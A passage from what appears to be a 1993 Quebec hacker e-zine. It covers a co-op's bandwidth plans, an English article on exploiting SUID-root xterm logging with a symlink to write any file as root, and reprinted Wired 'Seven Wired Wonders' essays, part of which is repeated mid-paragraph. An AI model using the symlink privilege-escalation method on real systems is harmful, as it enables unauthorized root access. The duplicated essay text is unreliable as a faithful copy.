Internet, ce qui n'est tout de mme pas la majorit, heureusement).
Mais on a un autre problme en vue: le throughput... Voyez-vous, la
ligne que Fonorola nous fait
un prix d'ami (conditionnel aux deux
autres 56 kbps, mais nous y reviendrons) est une 56 mdium, comme
ils disent, avec une vitesse de 22 Kb\s, et un throughput (dbit)
MAXIMUM de 2000 Megs par mois. 2 Gigs par mois, c'est pas beaucoup.
Juste le service Usenet complet reprsente 50 megs PAR JOUR
(minimum). Un mois (30 jours) de Usenet reprsenteraient
eux
seuls 1500 megs, et ne nous laisseraient que 500 megs dans le mois
pour les autres usages. Inacceptable! C'est pourquoi nous avons
pens librer la bande de Usenet en le recevant par satellite, avec
le service Pagesat. On a vraiment pas le choix.
Et encore l
, faisons un calcul rapide: 2000 megs par mois, je
soustrais 500 megs pour le e-mail, IRC, Telnet, enfin, tout ce qui
n'implique pas de gros downloads, il nous reste 1500 megs de bande
passante par mois. Divisez par cent usagers, a veut donc dire que
chaque usager aura droit, AU MAXIMUM,
15 megs par mois de
download SUR INTERNET. C'est comme pas beaucoup. Mme que, pour
tre safe, on devrait se garder une marge de scurit et imposer
une limite de 12 megs par usager.
ATTENTION! Ces douze megs ne reprsentent pas votre limite
personnelle de download du systme de LLC
chez vous! Uniquement
ce qu'on peut aller chercher sur la ligne de Fonorola. Ce qui nous
fait dire qu'il va imprativement falloir mettre nos ressources en
commun. Il va y avoir, donc, une section de files communes dans la
machine, et il va falloir que vous alliez obligatoirement y jeter
un coup d'oeil avant de downloader quelque chose
partir
d'Internet, pour voir s'il n'y est pas.
Exemple: Je veux aller sur un ordi de la NASA chercher la dernire
batch de photos de Pluton prises par la NASA. Je fais FTP sur
l'ordi de la Nasa, et je vois que le paquet s'appelle PLUTON.ZIP.
Je reviens sur LLC (a prend deux secondes), ou je consulte la
liste des fichiers de LLC que j'ai toujours sous la main, pour voir
si PLUTON.ZIP y est. Si oui, je vais chercher autre chose, ou je
reviens sur LLC et je le ramasse pour l'amener chez moi. Si le
paquet n'est pas dj
sur LLC, je le ramasse, je l'amne chez LLC,
j'en fait une copie dans la section publique, et le tour est jou.
Ca s'appelle mettre nos ressources en commun, et c'est ce qu'on va
tre obligs de faire, si on ne veut pas dfoncer notre dbit
maximum autoris. Exemple: au lieu que chaque usager downloade sa
propre copie de Phrack 44 (600K x 100 usagers= 60 megs), un seul va
le chercher et l'amener sur LLC, o tous les autres peuvent aller
le chercher gratuitement, sans empiter sur leur 12 megs.
Mais, me demanderez-vous, qu'arrive-t-il si on dfonce notre
limite? Si on dfonce notre limite de 2 gigs par mois, Fonorola
nous facture au prix d'une 56 high, ce qui reprsente, au mieux,
une sur-facturation de 1200$. Mais ceci est encore en ngociation
avec Fonorola.
Encore l
, cette situation ne durera que le temps que notre
matriel soit pay et qu'on puisse investir dans une ligne plus
puissante. D'un autre ct, a nous garantit quasiment qu'on aura
pas affaire
des warez puppies sur le systme, parce que 12 megs
de jeux, c'est pas beaucoup. Et puis, cette situation n'affecte en
rien ceux qui font du IRC, ou tout autre service,
l'exception du
FTP.
Des limitations de temps, des limitations de download, c'est
plus Libert Libert Chrie!, c'est Libert Libert Conditionnelle!
Que voulez-vous, si on continue
pratiquer des tarifs populaires
(et, personnellement, je ne reviendrai pas l
-dessus), on va
s'offrir le systme qu'on est capable de se payer, et on
l'amliorera
mesure que nos dettes disparatront.
--------------------
Je vous le jure, c'est tout un casse-tte que de tenter de
partir ce machin-l
! Surtout que, souvenez-vous, pour bnficier de
la 56 commandite par Fonorola, il faut refourguer deux autres 56
au prix rgulier! Je vous avais propos de prendre
ma charge ces
deux foutues 56 kbps,
condition que je me dniche une vingtaine
de slips mais, au moment o j'cris ces lignes, je n'en ai gure la
moiti... et je ne suis pas trs optimiste de ce ct-l
.
Quel bordel! Mais, vous me connaissez, ttu que je suis, je
vais trouver une autre solution... Il FAUT trouver une autre
solution. Quelle qu'elle soit, la seule chose que je peux vous
garantir, c'est une communaut cyberntique o vous aurez accs
pour pas cher. Pour le reste, la cooprative, Fonorola, et tout le
bataclan, pour moi tout est ngociable. Je vous en reparle (mieux!
Je vous arrive avec des RSULTATS! Enfin... j'espre...) dans le
prochain NPC. D'ici l
, on va srement se voir en assemble ou se
consulter by phone...
Enfin, ma propre exprience me dit que le systme devrait
normalement tre ouvert vers le 1er fvrier (avec un mois de retard
sur mon prcdent pronostic, mais vous comprendrez qu'il y a un
paquet de travail encore
effectuer), si on est chanceux.
Ecrivez-moi pour me dire ce que vous en pensez, si vous voyez
des solutions, etc.
-----------------------------------------------------------------
úAú úPúRúEúVúIúOúUúSúLúYú úUúNúKúNúOúWúNú úLúIúFúEúSúTúYúLúEú
-----------------------------------------------------------------
The state of Hacking in Quebec City
by:
Gurney Halleck
The following is a message I posted on some boards in 4i8 (this one
is from LORD (L0gRuS' board)). I though I would get some sort of answer. I
wrong I was... I mention a very serious bug that could let you gain root
very easely, and nobody replies. Nobody even asks HOW! The only thing hackers
in 4i8 know how to do is how to run JACK on a password file! They all thing
that JACK is the summum of hacking knowledge, how wrong they are! There is
much more to hacking than that!
----------------------------Enclosed message---------------------------------
Msg #: [1/1] Base: hacking.unix.security
Date : Fri 19 Nov 1993 6:00p Stat: Public
From : Gurney Halleck #4
To : All
Title: Xterm
Hello,
Anybody familiar with the Xterm program (used in Xwindow) (need to
phisically access to the terminal too) ? Well it has a tendency to run SUID
root on many systems (SUID root programs always look good ;-) Well this one
has a little problem, you can make a log of what appears on your screen and
it is logged as UID root in a file named Xtermlog.xxxxx
I am offering my admiration to someone who can tell me who to exploit
this hole (I know how, I'm making this a contest of hacking knowledge) So,
please post your answers, I will declare a winner in 1 week...
I want just a general description of how to exploit it, no specifics are
needed (but in case of a tie, it might count!)
Gurney Halleck [NPC]
-----------------------------------------------------------------------------
First, there was no winner. But I will tell you anyway how it works
hopping somebody out there will learn something.
Now, the first thing you do is start the logging, by pressing CTRL
and the left mouse button. Then open up another window and check the file
name. Let's say it's XtermLog.a5321 , you would now need to link it to
another file somewhere on the system. You do it like this:
ln -s XtermLog.a5321 /dir/file
Because Xterm is SUID root, you will be able to write to any file
on the file system. Although Xterm usually runs SUID root, expect that fact to
change in the near futur...
So, as I said before, got to learn more than how to use JACK boys and
girls...
-----------------------------------------------------------------
úAú úPúRúEúVúIúOúUúSúLúYú úUúNúKúNúOúWúNú úLúIúFúEúSúTúYúLúEú
-----------------------------------------------------------------
Ce que WIRED n'a pas publi...
Intro de Blitzkreig
Le dernier numro de Wired ((1.6) publiait un petit texte sur
les 7 merveilles du monde techonolique. Pour la circonstance, ils
avaient demand
un paquet d'crivains, de chercheurs, de gurus de
l'info de donner leur opinion. Ils n'en ont publi que quelques-
uns. Nous avons russi
mettre la main sur les autres... Les
voici, en primeur, en exclusivit, en ce que vous voulez. Des
textes de Nicolas Negroponte, de Arthur C. Clarke, et de plusieurs
autres. Des textes indits. Qui d'autre que NPC pour vous les
offrir?
Wired 1.6
Seven Wired Wonders
*******************
Long before the birth of Christ, historians of the ancient world
attempted to catalog humanity's most spectacular triumphs. The
"Seven Wonders of the World" included such crowd pleasers as the
Egyptian pyramids, the Hanging Gardens of Babylon, and the Colossus
of Rhodes. Over the centuries the list was continually revised;
until, by the late 1950s, we started hearing about the "Seven
Wonders of the Modern World." The all-new lineup focused mainly on
elegant engineering feats like the Empire State Building, Golden
Gate Bridge, and Eiffel Tower: monuments which, despite their
relative antiquity, are still pretty impressive today.
These lists have one thing in common: They catalog beautiful and
impressive things. But things as wonders are becoming obsolete. One
of the most telling facts about our present age -- call it the
Neosilicate -- is that many of our best and brightest achievements
are conceptual. When future generations weigh our accomplishments,
they're more likely to cite gene mapping and the Internet than the
Sears Tower.
The seminal achievement of the Neolithic, or "new stone," age
(8,000-1,500 BC) was the development of permanent communities and
agriculture. The overarching achievement of the Neosilicate (from
1971, when the first "microprocessor" was minted, to the present)
is the Digital Revolution.
The notion that all of our input about the physical universe --
from the X ray signature of a supernova to the visual textures of
a Van Gogh -- can be broken down into binary code is one of the
most useful, thrilling, and arrogant ideas our species has
fashioned.
Originating with the Taoists (whose yin/yang philosophy is over 50
centuries old), the binary model now informs every field of science
and is redefining contemporary culture as well. Everything about
the computer-driven 1990s -- the shape of our car seats, the way we
record music, even what we call community -- owes a debt to the
digital boom.
In light of this fresh perspective, Wired thought it would be fun
to revive an old tradition. Last June, we sent letters off to 100
individuals who have been, in our estimation, conspicuous beacons
on the broad frontier of high technology. Each of these persons --
scientists, artists, theorists, and social gadflies -- was invited
to send in nominations for a new list: The Seven Wired Wonders of
the World.
The results were dizzying. There was some overlap, of course (for
example, the telecommunications net and various vestiges of our
once-great space program) but not much. Some people named
projects, some people named people. Some of the lists were corny
and cerebral, while others sailed in from some ontological
outfield.
On the following pages, then, just in time for the fin de
millennium, appear the Seven Techno-Wonders of the World. The final
list was compiled by our editors, based (for the most part) on the
nominations we received. As you read, it might be interesting to
bear this in mind: of the original Seven Wonders, only one -- the
Great Pyramid -- remains. We can only imagine the glorious
Lighthouse at Alexandria, the Temple of Artemis at Ephesus, or the
vast Mausoleum at Halicarnassus. One has to wonder what future
Wired readers -- 3,000 years hence -- will recall of our own
generation's noblest works.
Only time (lots of it) will tell. In the meantime, have fun -- and
let us know if we left anything out. -- Jeff Greenwald
NET
^^^
After a century of fading into our bedside tables and kitchen
walls, the telephone -- both the instrument and its network -- is
on the march again. As a device shrinking to pocket size, the
telephone is subsuming the rest of our technological baggage -- the
fax machine, the pager, the clock, the compass, the stock ticker,
and the television.
A sign of the telephone's power: It is pressing the computer into
service as its accessory, not the other way round.
We know now that the telephone is not just a device. It is a
network -- it is the network, copper or fiber or wireless --
sprouting terminals that may just as well be workstations as
headsets or Princesses. As the network spreads, it is fostering
both the universality and the individuality of human discourse. The
Net itself, the world's fastest-spreading communications medium, is
the telephone network in its most liberating, unruly, and fertile
new agriculture. The overarching achievement of the Neosilicate
(from 1971, when the first "microprocessor" was minted, to the
present) is the Digital Revolution.
The notion that all of our input about the physical universe --
from the X ray signature of a supernova to the visual textures of
a Van Gogh -- can be broken down into binary code is one of the
most useful, thrilling, and arrogant ideas our species has
fashioned.
Originating with the Taoists (whose yin/yang philosophy is over 50
centuries old), the binary model now informs every field of science
and is redefining contemporary culture as well. Everything about
the computer-driven 1990s -- the shape of our car seats, the way we
record music, even what we call community -- owes a debt to the
digital boom.
In light of this fresh perspective, Wired thought it would be fun
to revive an old tradition. Last June, we sent letters off to 100
individuals who have been, in our estimation, conspicuous beacons
on the broad frontier of high technology. Each of these persons --
scientists, artists, theorists, and social gadflies -- was invited
to send in nominations for a new list: The Seven Wired Wonders of
the World.
The results were dizzying. There was some overlap, of course (for
example, the telecommunications net and various vestiges of our
once-great space program) but not much. Some people named
projects, some people named people. Some of the lists were corny
and cerebral, while others sailed in from some ontological
outfield.
On the following pages, then, just in time for the fin de
millennium, appear the Seven Techno-Wonders of the World. The final
list was compiled by our editors, based (for the most part) on the
nominations we received. As you read, it might be interesting to
bear this in mind: of the original Seven Wonders, only one -- the
Great Pyramid -- remains. We can only imagine the glorious
Lighthouse at Alexandria, the Temple of Artemis at Ephesus, or the
vast Mausoleum at Halicarnassus. One has to wonder what future
Wired readers -- 3,000 years hence -- will recall of our own
generation's noblest works.
Only time (lots of it) will tell. In the meantime, have fun -- and
let us know if we left anything out. -- Jeff Greenwald
NET
^^^
After a century of fading into our bedside tables and kitchen
walls, the telephone -- both the instrument and its network -- is
on the march again. As a device shrinking to pocket size, the
telephone is subsuming the rest of our technological baggage -- the
fax machine, the pager, the clock, the compass, the stock ticker,
and the television. A sign of the telephone's power: It is pressing
the computer into service as its accessory, not the other way
round.
We know now that the telephone is not just a device. It is a
network -- it is the network, copper or fiber or wireless --
sprouting terminals that may just as well be workstations as
headsets or Princesses. As the network spreads, it is fostering
both the universality and the individuality of human discourse. The
Net itself, the world's fastest-spreading communications medium, is
the telephone network in its most liberating, unruly, and fertile
new guise.
Thus Bell's child is freeing our understanding of the possibilities
that lie in ancient words: neighborhood and meeting and information
and news. It is global; it is democratic; it is the central agent
of change in our sense of community. It is how, and why, we are
wired. -- James Gleick
James Gleick (gleick@pipeline.com), the author of Chaos: Making a
New Science and Genius: The Life and Science of Richard Feynman, is
working on a cultural history of the telephone. He is also the
founder of New York's new Internet gateway, the Pipeline.
Micromanufacturing
^^^^^^^^^^^^^^^^^^
The wonders of the ancient world were monumental, but the
wonders of the modern world are increasingly microscopic. Modern
technology rides an exponential explosion of computer capability
driven by an exponential implosion in the size of computer devices.
The computer revolution began in the 1940s with million-dollar
machines processing hundreds of instructions per second. Since
then, the cost of computing and the performance of the machines
have improved by a factor of a thousand, dropping the cost of
computing by a million-fold. We now have thousand-dollar machines
that process millions of instructions per second. Computer cost and
device size have fallen together on a steep exponential curve.
The engine that powers this computer revolution is
micromanufacturing. Micromanufacturing packs more and more
devices into each chip - devices that switch faster and consume
less energy. In 1945, computers used vacuum tubes the size of your
thumb. Today they use transistors so small that a hundred could sit
on the tiny round stump of a severed hair.
Where is this leading? All signs point to a revolution that
advances to the limits set by natural law and the molecular
graininess of matter. Trends in miniaturization point to remarkable
results around 2015: Device sizes will shrink to molecular
dimensions; switching energies will diminish to the scale of
molecular vibrations. With devices like these, a million modern
supercomputers could fit in your pocket. Detailed studies already
show how such devices can work and how they can be made, using
molecules as building blocks.
The necessary methods, though, are no longer those of traditional
micromanufacturing. Molecular control will require the methods of
molecular manufacturing: nanotechnology. A new approach and a
vigorous effort might even jump the schedule: Japan launched a $200
million program last January. -- K. Eric Drexler
Digital Astronomy
^^^^^^^^^^^^^^^^^
The newly inaugurated Keck Telescope, the world's largest gatherer
of starlight from ancient galaxies, embodies the grand traditions
of classical astronomy while vaulting into the next millennium.
Housed in a gleaming white dome amid the lunar landscape of
Hawaii's Mauna Kea at a dizzying 13,600-foot altitude, Keck is a
ground-based optical telescope, built with private funds ($75
million worth) under the guidance of a single individual (the
telescope's chief designer and scientific director, the University
of California at Berkeley astronomer Jerry Nelson). That much it
has in common with its legendary precursors at Palomar, Lick, and
Mount Wilson.
To focus in more closely, though, is to witness the technology of
the future. Keck's light-gathering mirror, 10 meters across, is
comprised of thirty-six hexagonal segments. Computer-controlled
actuators tune the mirror segments twice per second, keeping each
aligned to within one millionth of an inch. In 1996 a second
identical telescope is to go into operation in a dome of its own,
85 meters away. Together they will comprise the largest pair of
binoculars in the solar system, a tool capable of scrutinizing the
depths of space and time with unprecedented clarity.
Working in concert with a flotilla of scientific satellites like
COBE (which mapped radiation emitted in the big bang when the
universe was only one million years old), Einstein and ROSAT (which
study the skies in the high-energy wavelengths of X rays and
ultraviolet light, respectively), and, hopefully, an
astronaut-repaired Hubble, Keck takes a prominent place in a new
digital astronomy.
Like most major telescopes today, Keck records images using CCD
(charge-coupled device) chips that are forty to a hundred times
more sensitive to light than photographic emulsions. (Similar
technology, used in today's video cameras, makes it possible to
shoot scenes lit only by candlelight.) Since the CCDs produce
digital images that can be transmitted across the world in moments,
Keck eventually may join a global network of remote-controlled
telescopes that can be utilized by scientists -- or even amateur
astronomers -- from their desktop workstations. Lost will be the
romantic specter of solitary astronomers toiling nights on frigid
mountain tops, but much will be gained as well. Innumerable
treasures of the universe, from the starfields of nearby galaxies
to extinct quasars patrolling the outer limits of space-time, will
have been brought within the reach of more human eyes than was
possible ever before. -- Timothy Ferris
Timothy Ferris has written seven books, including The Mind's Sky
and Coming of Age in the Milky Way. In addition to authoring more
than 100 articles on science and astronomy, Ferris produced the
Voyager phonograph record: a musical artifact of human civilization
launched aboard the Voyager interstellar spacecraft.
Senior Citizens
^^^^^^^^^^^^^^^
Among the greatest feats of biosocial engineering ever executed and
yet one that remains strangely overlooked is our abundance of
senior citizens.
Prior to WWII, an old person was an oddity in Western culture,
comprising only an insignificant proportion of the general
populace. Now -- and particularly into the next century -- old
people and their needs that will dominate political and social
debate almost exclusively.
There is no historical precedent for this, in any place or any
time.
Because of their relative scarcity until recently, our culture as
a whole has tended to sentimentalize and over-revere old people. As
events have played out, an abundance of "elders" has in no way
shepherded in a golden age of wisdom and knowledge. Any notions
of a wisdom-filled, Grandpa-Waltonian utopia were shelved years
ago. Life extension has become a monolithic, unstoppable end in
itself.
Question: Has it been worth it? Where, exactly, is the "wisdom
dividend"?
The wisdom dividend has turned out to be neither spiritual, nor
cosmic or slight, but (as with the benefits of space travel or war
in this century) played out in a vast technological trickle-down.
The dream of an immortal society is the dominant engine powering
the bulk of most 20th-century research in countless areas including
medicine, pharmaceuticals, surgery, and life extension techniques
as well as developments in politics and finance -- entitlements,
pension funds, mutual funds.
The major question society must ask itself right now is, "When does
the dream stop outweighing the benefits?" (And what's the deal
with all these Bob Hope specials?) -- Douglas Coupland
Douglas Coupland is the author of Generation X and Shampoo Planet.
His next book, Life After God, will be published in February, 1994.
He grew up, and still resides, in Vancouver, Canada.
The Human Genome Project
^^^^^^^^^^^^^^^^^^^^^^^^
The comparison is too arresting to pass up. On the one hand,
there's binary code: the orderly, controlled strand of ones and
zeros that gives us our spreadsheets and our Vivaldi CDs and
eventually our television. On the other hand, there's the genetic
code: orderly but cryptic, double-helical strands runged with
nucleotides that govern our fetal development, our eye color, and
our likelihood of dying of Alzheimer's. The first is understood,
the second is not. That's what the massive $1 billion Human Genome
Project is all about: reading our own source code and making sense
of the three billion base pairs along our 24 chromosomes by finding
the location and function of each of our 100,000 genes.
The project, overseen by the National Institutes of Health, is
expected to take more than a decade -- Big Science, to be sure, but
apparently pork-free. Employing hundreds of scientists, it's too
big a project for any one lab. The 1992 announcement that
scientists had achieved the intermediate step of creating a
physical map (essentially, a rough sketch) of chromosome 21,
believed to contain an Alzheimer's gene, was a global effort run
mainly by researchers in France, with help from scientists in
Spain, Japan, and the United States.
There's plenty of risk ahead. In the wrong hands, a little
chromosomal knowledge could lead to experiments that would make
Dr. Frankenstein blush - or to disastrous invasions of privacy.
(What happens to your life insurance rates if the company knows
you're more likely to have a heart attack than your neighbor?) But
there's promise, too. Doctors using genome data will be able to
spot the roughly 3,000 genetic defects that lead to disease. Some
will be correctable with new medical therapies being pioneered
today, others will just be warning flags. Genetics is not always
destiny. If your gene map shows that you have a predisposition
toward high cholesterol, your doctor will be able to steer you away
from enchiladas suisas. -- John Schwartz
John Schwartz covers science for the Washington Post
Neuromantic Drugs
^^^^^^^^^^^^^^^^^
"There's nothing wrong with you that a little Prozac and a polo
mallet won't cure." -- Woody Allen, Manhattan Murder Mystery
From the early 20th century (when marijuana was declared a
narcotic and cocaine was jettisoned from Coca-Cola) until the mid-
1980s, the general (and official) reaction to any substance that
stirred the sacred scrim of "reality" was swift condemnation . .
.or equally blind enthusiasm.
No more. Heralded by modern antidepressants, seratonin inhibitors,
"smart drugs" like Hydergine, and a new generation of experimental
nootropics (molecules that act exclusively on the higher brain
centers), the era of designer consciousness-raising chemicals --
neuromantics -- is dawning. Modern psychobiology has provided us
with a marvelous paradox: the human mind, while still viewed as
luminous and ineffable, is also recognized as a stewpot of swirling
chemicals, synapses, and neural transmitter juices that can be
tweaked as easily as the pH level in your swimming pool.
The result will be an ever-widening acceptance of (and reliance
upon) pharmaceuticals that allow individuals to reformulate their
own cerebral mix. Pure LSD is currently available, by prescription,
in Switzerland; a book lionizing Prozac -- a wildly popular
antidepressant -- is on the best-seller lists nationwide (ten years
ago few even thought of depression as a disease). The use of
alleged cognition and memory enhancers like Piracetam, choline,
phenylalanine, and Hydergine, which already have huge cult
followings, will skyrocket as the drugs are improved and their
utility confirmed.
Anyone who grew up during the 1960s and 1970s is well aware of
the impact that the "acid culture" ultimately had on the 1990s.
Many of our finest artists, writers, technicians, and sages drew
pivotal inspirations from enhanced states. A similar renaissance
may well take place when neuromantics hit the mainstream. And one
thing's certain: It won't be a fringe culture. - Jeff Greenwald
Jeff Greenwald, author of Shopping for Buddhas (HarperCollins),
conceived and edited the Seven Wired Wonders. He is a frequent
contributor to Wired.
Immersive Technology
^^^^^^^^^^^^^^^^^^^^
Surround the human sensorium with imagery that is partially or
entirely other than that provided by the actual world, arranged in
ways that invite and support holistic human participation. The
result goes by many names: virtual reality, virtual environments,
artificial reality, multisensory interactive systems. All are
immersive prostheses for the imagination.
Immersive technology represents, on the one hand, the unattainable
grail at the end of the history of cinema, and on the other hand,
the beacon that draws creative energies toward the culmination of
computing. It replaces the traditional ethos of computing --
bodiless minds communicating via keyboard and screen -- with the
notion that the senses are primary causes of how and what we know,
think, and imagine. This technology is situated in a historical
vector: the exteriorization of human imagination. As Terence
McKenna says, the human journey boils down to the quest to turn
ourselves inside out.
From punched cards to interactive computing, from Zork to the
Holodeck, from Alfred Hitchcock's experiments with point of view to
Star Tours and its kin, we have inched along the incremental path
on this quest. Along the way, we have been forced to give up
relinquish notions about authorship and control. In the world of
immersion, authorship is no longer the transmission of experience,
but rather the construction of utterly personal experiences.
Just as 2001: A Space Odyssey was an index to the then-impossible
- in terms of its representation (simulation) and its object
(artificial intelligence) - so the Luxor complex in Las Vegas is a
contemporary index to the next wave of what Aristotle called
plausible impossibility: a dynamic first-person point of view on a
synthetic, imagination-hacked world. It is no accident that effects
wizard Douglas Trumbull has been intimately involved with the
articulation of both visions.
Convergence is in the air. One cannot help but sense that the
trajectory is an exponential curve. What next? Whatever, it's out
of here. Out of today's media constructs, saturated as they are
with a bogus third-person view. Out of here, and into here with new
eyes, ears, noses, fingers. . . on our own again, after the long
mediation of top-down authored experience, of broadcast culture and
mass-produced objects of desire. - Brenda Laurel
-------------
Et voici le bout indit....
Other Wired Wonders
*******************
Digital
^^^^^^^
The techno-philosophic revolution of the 20th century is "DIGITAL."
Digital images, digital files, digital as a way of life.
Life is, and has always been, an analog flow of experience and
situations. We feel in an analog mode...any emotion is undefined
and continuous. Our ability to communicate and describe used to be
analog also. Images were brought into memory with photography,
musical performances were passed into wax -- processes which
approach the way we innately think and remember.
I used to make films, which required me to handle the frozen image.
That physicality was both powerful and frustrating. Video, on the
other hand, was a flow of images which I could never capture and
hold, but which I could mix into stories. They came from somewhere,
but the trail ended with the mix. Digital video images return the
power of the physical and extend it into the metaphysical.
The power of "Digital" extends into endless facets of everyday
life, far too numerous to count or comprehend. But for me, the
change from analog to digital has meant everything: a deeper
understanding of what makes an image, and why I create images. To
appreciate digital is not to remove it from the flow; it means
seeing an image clearly within the flux of a shot, a sequence, a
story, a movie, anything, anywhere. -- John Sanborn
Sanborn is an internationally known video artist and director who
has created works for museums as well as for broadcast television.
Holographic Video
^^^^^^^^^^^^^^^^^
I'm self-conscious about appearing to use Wired to toot the Media
Lab's horn. However, it would be hard not to include Holographic
Video as one of the techno-wonders.
It exists (the size of a tea cup, as of next Monday)
It will be how you watch football games in the year 2010.
Anything that needs 250,000 to 2,500,000 pixels PER SCAN LINE has
got to be a techno-something. -- Nicholas Negroponte
Negroponte is founder and Director of the MIT Media Lab, and the
Senior Columnist for Wired.
Telephone
^^^^^^^^^
I'm afraid I'm a techno-virgin. I wouldn't know a pentium chip from
a potato chip! So my techno-wonder is the common garden
telephone. The telephone is the root of many modern marvels, but
for me it rests in its ability to shrink time and space, to drop me
down in places I couldn't otherwise be, and to provide an umbilical
cord for globe-trotting Roddicks.
The telephone has also been the most powerful factor for the
meeting of minds since the invention of the printing press. Love
is no longer tracked by poems or letter -- it's now tracked on
telephone wires. -- Anita Roddick
Anita Roddick is an author, lecturer and the Creative Director of
the Body Shop International.
Deep Space Network NASA/JPL
^^^^^^^^^^^^^^^^^^^^^^^^^^^
The Deep Space Network NASA/JPL Guides interplanetary spacecraft.
Landed two craft on Mars within five miles of their intended
destination, inserted probes into near-Jupiter and near-Saturn
space within meters and fractions of a second of optimal
parameters. Has been used to test general theory of relativity,
measure distances on Earth to within fractions of an inch. System
consists of three radio dishes (US, Spain, Australia) linked to
NASA computers at Pasadena and elsewhere. - Timothy Ferris
Star Trek
^^^^^^^^^
My nomination is Star Trek, an icon of 20th century culture.
Although the technology seen on the show is largely fictional, the
show itself has had a profound impact on a generation of
scientists, engineers, computer programmers and other present-day
visionaries. It is difficult to find an area of significant
American technological or scientific achievement that does not have
one or more major players who were inspired as children by the
wonders of Gene Roddenberry's vision. -- Mike Okuda
Michael Okuda is a senior graphics artist and technical consultant
for Star Trek: The Next Generation and Deep Space Nine.
COBE
^^^^
The Techno-Wonder of my choice is COBE, the Cosmic Background
Explorer Satellite, in orbit since late 1990.
Its audacious, flawless measurements, whose all but incredible
consistency and precision have slain seven aspirant cosmologies at
one blow, throw more light on the inflationary origin of our
present cosmos since the discovery of the microwave background
nearly thirty years ago. What a device, and what a team of
investigators and engineers! -- Philip Morrison
A Professor of Physics and Astrophysics at MIT, he is also known
for his brilliant book reviews in Scientific American.
Super-Conducting Super Collider
^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^
Congress has been playing Perils of Pauline with the funding for
the SSC for the last few years. If the 53 mile ring under the Texas
prairie is ever built, though, it will not only be the biggest
high-tech construction project ever completed, but will take us one
step closer to understanding the most fundamental question science
can ask: 'why is there a universe, and how does it work?' -- James
Trefil
James Trefil is Clarence J. Robinson Professor of Physics at George
Mason University in Virginia. His upcoming book, A Scientist in the
City, will be published by Doubleday in January.
ENIAC
^^^^^
Ben Franklin, Founding Father Ben Franklin is a Founding Father
not just of the Nation, but also of the nation's computer industry.
In 1749, Ben published his "Proposals relating to the Education of
Youth in Pennsylvania." This resulted in the formation of the
College of Pennsylvania, which became the University of
Pennsylvania, which organized (in 1923) the Moore School of
Electrical Engineering.
In June of 1943, a "Fixed Price Development and Research Contract"
between the United States of America and the Trustees of the
University of Pennsylvania was signed. The work was assigned to the
Moore School, and by June of 1944 it was accomplished.
The job was to build the computer which was named "Electronic
Numerical Integrator and Computer". We know it as ENIAC. -- Charlie
Rose
A senior congressman from North Carolina, Charlie Rose is Chairman
of the Committee on House Administration.
Nanotechnology
^^^^^^^^^^^^^^
I nominate nanotechnology and K. Eric Drexler of the Foresight
Institute for expanding the boundaries of collective restraints on
"reality" through the development of Nanotechnology.
Nanotechnology will profoundly alter life as we know it by direct
manipulation of the structure of matter at the atomical level.
Drexler proposes achieving this by using self-replicating molecular
machines or nanomachines that will be small enough to arrange
individual atoms. -- Candice Pacheco
Pacheco is a founding member of D'Cuckoo, the Neo-classical, post-
industrial, cyber-tribal world funk music ensemble.
Apple's Macintosh
^^^^^^^^^^^^^^^^^
My candidate would be Apple Computer's user friendly computer. It
seems to me that the use of personal computers made a giant leap
when Apple came forward with their first computers. In our
business, we have seen people who you would guess would never
touch a computer, fall in love with the Apple architecture.
If Stephen Job hadn't come up with the idea of making the computer
easily fun to use, I think we would be five to ten years behind
where we are today. -- Gary Ames
Ames is President and CEO of US West Communications, Inc., the
Baby Bell operating in Colorado.
Self-Cleaning Garlic Press
^^^^^^^^^^^^^^^^^^^^^^^^^^
I believe the self-cleaning garlic press to be one of the major
advances in civilization. What do you think -- will it make the
list? -- Molly Ivins
The author of Molly Ivins Can't Say That, Can She? is a nationally
syndicated columnist for the Fort Worth Star-Telegram.
In the Eyes of Other Wired Thinkers
***********************************
Aurthur C. Clarke
^^^^^^^^^^^^^^^^^
Here are my quick 7 wonders: microchips, Mandelbrot Set, Concorde,
Saturn U., camcorder, laser, Scanning Electron Microscope. --
Arthur C. Clarke
In 1945, 28-year-old Arthur C. Clarke proposed the geosynchronous
(now Clarke) orbit, and anticipated the era of communication
satellites. His books include Childhood's End, 2001: A Space
Odyssey and The Hammer of God.
Vint Cerf
^^^^^^^^^
Magnetic Resonance Imaging One of the most significant advances in
non-invasive diagnostic technology created thus far. The ability to
image soft tissues in three dimensions has transformed surgery,
internal medicine, prosthetics design and orthopedics.
The Scanning Tunneling Microscope The ability to image individual
atoms has changed the way we think about solid state physics,
physical chemistry and related fields.
The Pioneer Spacecraft These have left the solar system and are out
in galactic space -- the farthest the arm of mankind has yet
reached. -- Vint Cerf
Dr. Cerf became President of the Internet Society in 1992. He
received the EFF Pioneer Award earlier this year.
Richard Saul Wurman
^^^^^^^^^^^^^^^^^^^
In the last hundred years, the dreams of the previous 7,000 years
have begun to be fulfilled. Perhaps this is what the poet Robert
Graves meant when he talked of "the waking dream." For me, "the
waking dream" is the extension of my abilities and senses as an
enriching part of my life. My mouth and my ears, my voice and what
I hear, the extension of conversation that the telephone has given
us, this is the first wonder that comes to mind.
Wonder Number Two, a much more recent wonder, is an attachment
to the telephone -- the fax.
Our ears and our eyes are filled by the waking dream-like
inventions of radio, cinema and television for wonders 3, 4 and 5.
The first two wonders concern location and the second three relate
to interest, understanding and entertainment. The third group has
to do with dissemination of information in real time with real
copies. These are the Xerox machine, USA Today and CNN, which give
you the world, th enews, and have created a world network of
events.
The last wonder is the Personal Digital Assistant (PDA). It will
include television, tape recorders, Camcorders, the newspaper, a
message system, a memory and a walking library of information.
With the eventual advent of a forty-hour battery it will allow us
knowledgeable ability and communication that truly is the waking
dream and the wonder of this century.
None of the above ideas are particularly esoteric. They're not a
particular chip or parallel computer system. Rather, they're the
things that take the parts of our bodies and give them the better
size, speed and acuity than we ever though possible. -- Richard
Saul Wurman
Richard Saul Wurman is an 'information architect' whose credits
include the Access Guidebook series and the creation of the TED
(Technology, Entertainment and Design) conferences.
Marvin Minsky
^^^^^^^^^^^^^
The most astonishing techno-wonder is not a thing at all, but an
idea. It is Alan Turing's incredible discovery, in the 1930s, that
all computers are equivalent -- that they all have the same
inconceivably wide range of capabilities, provided that they can
read and write into memory and do a few simple operations that
depend on what they have just read.
Turing foresaw that this was no mere mathematical curiosity. It is
the reason why we can have so many different "programming
languages" for the same personal computer -- and for why we can
use one and the same programming language for so many different
computers.
Today there are only a few billion computers on our planet (all but
the most expensive wrist-watches contain one), but I'm sure that at
some point in the next century, the average person will wear an
inconspicuous appliance containing some trillions of them. What
